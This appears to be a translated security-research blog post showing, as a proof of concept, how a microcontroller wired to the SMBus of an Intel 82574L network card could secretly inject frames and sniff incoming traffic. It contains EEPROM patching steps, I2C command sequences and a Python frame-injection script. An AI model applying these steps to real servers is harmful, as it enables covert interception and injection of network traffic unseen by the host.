📜 ⬆️ ⬇️

We make our own implant for electronics



The story from Bloomberg that allegedly some implants were installed on the motherboards [ The Chinese used a microchip to control American computers ] did not go unnoticed. After it, many people shared ideas about the possibility of creating such implants (their estimated size, capabilities, or how to detect them).

A few days later, Bloomberg magazine released an article with additional evidence. This is what specifically fueled our interest:
The legal server sent messages in one way, the implant in another, but it seemed that all traffic came from one trusted server.


There are ways to interact with the network card directly from the motherboard. Several people pointed out that you can play around with the BMC (Baseboard Management Controller - a component that allows access to the server besides the main channel), which will allow the implant to control the BMC and access the network card. But how does this work in practice? Let's see if we can reproduce it.
')

Starting position


Let's look at the availability of possible interfaces between the NIC ( network card ) and BMC. One of the main protocols for working on a dedicated channel is the intelligent interface for managing the IPMI platform.

IPMI


Wikipedia says that IPMI is “an intelligent platform management interface designed to autonomously monitor and control functions embedded directly into the hardware and firmware of server platforms. The key features of IPMI are monitoring, recovery of management functions, logging and inventory, which are available regardless of the processor, BIOS, and operating system. Platform control functions may be available even if the system is in the off state. " Very similar to what we need.

The following flowchart shows a possible way to implement the project:



IPMI actually defines two Sideband channels for the NIC: SMBus and NC-SI. NC-SI is a modern SMBus replacement that supports increased data transfer speeds and other new features. The problem is that she needs more signals (about 10), and it is much more difficult to intervene in her work when we work with an implant. So for now let's focus on SMBus.

SMBus


SMBus (System Management Bus) is a serial communication protocol for power devices. One-sided, simple two-wire bus for easy communication. Most often used in computers to connect the motherboard with the power source and send instructions on / off. Based on the I 2 C bus, commonly used in microcontrollers. The interface needs only two signals (clock frequency and data), and the third signal is an interrupt. Perfect for games with implant protocol.

First contact


You have to be smart without having access to the motherboard with BMC. Studying the technical characteristics of server motherboards, we found that some of them use an Intel 82574L chip. According to the documentation , it provides “SMBus advanced pass-through interface” - just what you need. Best of all, it comes in the PCI-E card format.

SMBus access


We went to the store, and now we have Intel EXPI9301CTBLK cards with 82574L chip. Now what?

In the documentation, you can track SMB_DAT and SMB_ALRT_N. Fortunately, they were all available at the contact pads. It seems that everything is quite easy.


NIC PCB. Top left - EEPROM, top right - connector for SMBus [ALRT | CLK | DAT]. Note that R39 and R40 are sealed off, which prohibits access to the SMBus for the PCIe connector.

We connected the I 2 C probe and scanned the SMBus, but did not find anything useful. Documentation says that SMBus is enabled only when a certain bit register is set. This value is loaded from the EEPROM. It's time to dig deeper.

Enable SMBus Access


Documentation helps us again. Access to SMBus is determined by the register value loaded with the EICROM NIC. Fortunately, the EEPROM can be read using flashrom. Having reset the contents of the EEPROM, we can analyze and change the values:

> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org

Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash... done.


Judging by the NVM map (chapter 6.1 of the documentation), it is clear that we need to change two values:


It is only necessary to take into account that the EEPROM data is stored in little endian format.

After that, we still need to figure out the value of Checksum. Chapter 6.1.2.11 states that the sum of all words in the [0x00-0x40] range should be 0xBABA. A little Python will help us calculate the correct checksum:

import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff

print("Checksum word must be : " + hex(0xbaba-tot))
#Checksum word must be : 0x9efb


And finally, all our changes for the EEPROM:

< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k.........Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k.........Z.

< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e ..........0.....


After making changes and firmware EEPROM we connected the I 2 C probe and:

i2c1> scan
Device found at address 0x49
i2c1>


The address I 2 C is encoded in seven bits, the address we need is obtained as 0x49 << 1 = 0x92.

Now we have a working scheme for our implant. We can send commands to the NIC:



Receiving the information


As you might have guessed, we continued to read the documentation and send specially prepared commands to the NIC to check that everything works as expected.

The documentation describes everything you need to know about the format of transactions, in chapter 8.4.4. The only difference is that we do not need to calculate the PEC (checksum for SMBus, which is calculated for each packet). For example, we can send the CMD command to the SLAVE address using the following sequence:

[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]

[START] and [STOP] are START and STOP conditions defined by the I 2 C protocol.

For example, the command to read the MAC address (described in Chapter 8.8.2.3) would be 0xD4. Send a command to SMBus in I 2 C mode:

[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]

When translated to the Hydrabus team, it will be:

i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]
I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]
07 D4 | .. <== Read [length] [header]
68 05 CA 89 B2 2E | h..... <== Read MAC address bytes
NACK
I2C STOP


And, yes, we get our MAC address!

Make an implant


Now, knowing how to communicate with the NIC, let's see how you can use this channel to steal network traffic and send data over the network. Chapter 8 of the documentation describes everything that is needed for this.

Sending Packages


Described in Chapters 8.6 and 8.8.1. We can simply create an Ethernet frame using commands. Here is an example script for Hydrabus or Bus Pirate to send a package:

import serial
import struct
from scapy.all import *

ser = serial.Serial('/dev/ttyACM0',115200)

def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))

# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)

# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write('\x08'+fulllen+'\x00\x00')
ser.write("\x92\xc4"+pktlen+pkt)

# If packet has been sent successfully
if ser.read(1) == '\x01':
print "Send OK"
else:
print "Error sending"
ser.write('\x00')
ser.write('\x00')
ser.write('\x0F\n')
quit()

# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("\x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()

# Switch to I2C mode
ser.write('\x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()

#Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.31.32.82", dst="10.31.32.80")/ICMP()

#Send the frame
send_frame(str(p))

# Return to main binary mode
ser.write('\x00')
#reset to console mode
ser.write('\x0F\n')


After executing the script, you can see the package coming from the machine with the implant, and, most interestingly, the server itself does not see this package at all:


Tcpdump from the attacking machine on the left, server - on the right

Reading packages


Filtration


To find out which frames should go to the SMBus, the NIC uses control filters. They match traffic from the network, and either redirect it to PCIe, or to SMBus, or both there and there. From our point of view, this gives us more flexibility:


What is most interesting, the filter can be configured to track the various elements of the frame:


(The full list is presented in chapter 8.4.2.1)

There are seven independent MDEF [0: 6] filters available, and each of them can be configured to redirect the corresponding traffic to PCIe over SMBus using the MANC2H register (see details in Chapter 8.4.3).

Implementation


Setting everything up correctly turned out to be quite difficult, we tried many different combinations to make the filter work. Fortunately, the Intel application note gave us more details about running filters in the way we want.

Using our I 2 C-probe, we can configure all this with four commands:

//
[ 0x92 0xca 0x01 0x40 ]
// MDEF[0] , UDP/664 UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// MANC2H
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]


As described in chapter 8.8.1.3, you need to set several bits in order to enable data acquisition and to send frames back to our implant. We chose the SMBus alert because other models allow the network card to make asynchronous requests to the SMBus (details in chapter 8.4.5).

Reading frames


Since we used the SMBus alert method, we had to wait for the SMB_ALRT_N signal to turn off before sending the Receive TCO Packet command. If we waited too long, the packet would be rejected by the NIC.

To simply illustrate the scheme, we will send frames periodically and send commands for reading — just to confirm that this principle works. The scheme looks like this:


from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)


Something interesting turns out:



On the left, the SMBus reads a frame, the frame data is shown below. On the right, tcpdump running on a server with an implant does not show incoming frames.

Frame Relay


By changing the MANC2H register, it is possible to make the traffic sent to SMBus and PCIe correctly displayed on the server. For example, let's create a sniffing filter that responds to UDP / 161 traffic (SNMP) and sends it to SMBus and PCIe:

//
[ 0x92 0xca 0x01 0x40 ]
// - 0 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// MDEF[0] , - 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// MANC2H MDEF[0] PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]


Turning on the filters, we can send an SNMP request to the server with the implant and see the packet that intercepted the implant. At the same time, the server responds to the request - which means that the packet was correctly redirected to SMBus and PCIe:


Above - intercepted SNMP-request from the implant. Below - SNMP-request reached the server.

Conclusions


We have described a possible method of introducing a small and inexpensive microcontroller as an implant at the NIC level. Such an implant needs at least four contacts (Vcc, GND, CLK, DAT), and it can manage the server card. Among its features:


In our example, for simplicity, Hydrabus was used as an interface for I 2 C / SMBus, but this can also be done easily on a small microcontroller, for example, ATtiny85 (it is about the size of an EEPROM for NIC).

However, in real life such an implant would only have access to the SMBus. Depending on the motherboard scheme, this device may be the only one available, and then interaction with the server OS will be impossible. In the case when you need full control over the OS, it is best to change the BMC code, since it already has access to all interesting tires, and it leaves no visible marks on the motherboard.

Another disadvantage of such an implant is that it can transmit data at a speed of about 100 Kb / s, which is not enough to fully study the traffic. In addition, the implant is able to intercept only traffic coming from the network. As a result, this solution seems to be ineffective compared to the efforts required for its implementation in the equipment of the target.

Source: https://habr.com/ru/post/429190/


All Articles